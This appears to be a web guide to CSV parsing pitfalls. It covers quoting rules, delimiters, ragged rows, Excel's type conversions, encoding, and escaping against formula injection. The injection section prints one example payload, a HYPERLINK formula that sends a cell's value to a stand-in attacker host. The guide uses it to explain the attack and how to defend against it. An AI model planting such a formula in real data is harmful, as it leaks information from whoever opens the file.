CSV Parsing Pitfalls and How to Avoid Them

Why line.split(",") is not a parser

The only widely cited description of CSV, RFC 4180, is informational rather than a strict standard, and real files stray from it, but its core rules are the ones to follow:

• Fields are separated by commas and records by line breaks.
• A field that contains a comma, a double quote or a line break must be enclosed in double quotes.
• A double quote inside a quoted field is written as two double quotes.

id,name,note
1,"Smith, Jane","She said ""hello"""
2,Lee,"Line one
line two"

That file has three records, but a naive split("\n") finds four lines and split(",") finds five fields in the first data row. Splitting breaks on commas that belong to the data, and it cuts a record in half at an embedded newline. Use a real parser (Python’s csv module, csv-parse, Papa Parse, Go’s encoding/csv) and open files with the right newline handling; in Python that means open(path, newline=""), otherwise the module cannot see line breaks inside quoted fields correctly.

When a file will not parse, run it through the CSV validator, which reports the line where the field count or quoting goes wrong.

Delimiters that are not commas

In many European locales the decimal separator is a comma, so spreadsheet programs write CSV with a semicolon between fields to avoid ambiguity: 1;"3,14";Berlin. Other files use tabs (TSV), pipes or even spaces. If a parser returns one wide column, the delimiter is almost always the cause.

Guidelines for dealing with it:

• Detect the delimiter from the first few lines, or ask the user, rather than assuming a comma.
• Do not mix decimal commas with comma delimiters unless every such value is quoted.
• When you produce a file for others, say which delimiter and encoding you used, or choose the comma, UTF-8 and a header row as the default.

The CSV to JSON converter lets you pick the delimiter, and TSV to CSV converts between the two without re-quoting by hand.

Ragged rows and missing headers

A well-formed CSV file has the same number of fields on every line. Real exports often do not: a trailing comma adds an empty column, an unquoted comma shifts every later field to the right, and a truncated download ends mid-record.

Decide how strict to be and be explicit about it:

• Strict: reject the file and report the line number. This is the safest choice for imports that change data.
• Lenient: pad short rows with empty values and report extra fields as errors or warnings.

Also check the header row. Duplicate column names silently overwrite each other when rows become objects, so {"id": 1, "id": 2} keeps only one value. Headers with leading or trailing spaces, or a byte order mark glued to the first name (\ufeffid), cause lookups for id to fail. Normalise headers by trimming whitespace and stripping the BOM before use.

What Excel does to your data

Opening a CSV in Excel does not just display it. Excel guesses a type for every cell and converts what it recognises, and saving writes the converted value back:

• Leading zeros vanish. A ZIP code 02134 or product code 007 becomes 2134 and 7.
• Long numbers become scientific notation. An ID such as 12345678901234567890 turns into 1.23457E+19, and Excel keeps only 15 significant digits, so the lost digits cannot be recovered.
• Text that looks like a date becomes a date. Gene symbols such as SEPT2 and MARCH1 were famously converted to dates; so are values like 1-2 or 3/4.
• Large numbers lose precision in the same way, so keep identifiers as text.

Prevention works at the point of import, not after. Use Excel’s text-import wizard or Power Query and set those columns to Text, or have the producer write values like ="02134" for Excel users, accepting that other programs will see the extra characters. Better still, avoid round-tripping data through a spreadsheet; the CSV and Excel encoding guide covers the related character set problems.

CSV injection (formula injection)

If a cell begins with =, +, - or @, a spreadsheet may treat it as a formula when the file is opened. An attacker who can put text into your data, such as a name field in a sign-up form, can plant a formula like =HYPERLINK("https://evil.example/?d="&A1,"Click") that runs when an administrator opens your export. Tab and carriage-return characters at the start of a cell are treated the same way.

If your application produces CSV from user input:

1. Prefix any field that starts with =, +, -, @, tab or carriage return with a single quote, so it is displayed as text.
2. Apply the escape on output only, and keep the original value in your database.
3. Be aware that the prefix changes the data for programs that are not spreadsheets, and weigh that against the risk when the file is also machine-read.

Negative numbers legitimately start with a minus sign, so the rule needs care: apply it to text columns, and let numeric columns through.

Encoding, newlines and a safe checklist

Most mojibake in CSV (José instead of José) comes from reading UTF-8 bytes as Windows-1252, or the reverse. Write UTF-8; if Excel users must open the file by double-clicking, add a UTF-8 byte order mark so it detects the encoding, and strip that mark when you read files back.

Before you ship or ingest a CSV file, work through this list:

1. State the delimiter, encoding and whether there is a header.
2. Quote every field that contains the delimiter, a quote or a line break, and double the quotes.
3. Use a library for reading and writing, with newline handling switched on.
4. Validate that every row has the expected number of fields.
5. Keep identifiers as strings, and never open the file in a spreadsheet to “check” it.
6. Escape formula characters in user-supplied text columns.

To get clean, well-quoted output from messy input, run it through the CSV formatter, or convert to JSON with CSV to JSON so types and quoting are explicit.

Related

• csv validator
• csv formatter
• csv to json
• json to csv
• tsv to csv
• csv and excel encoding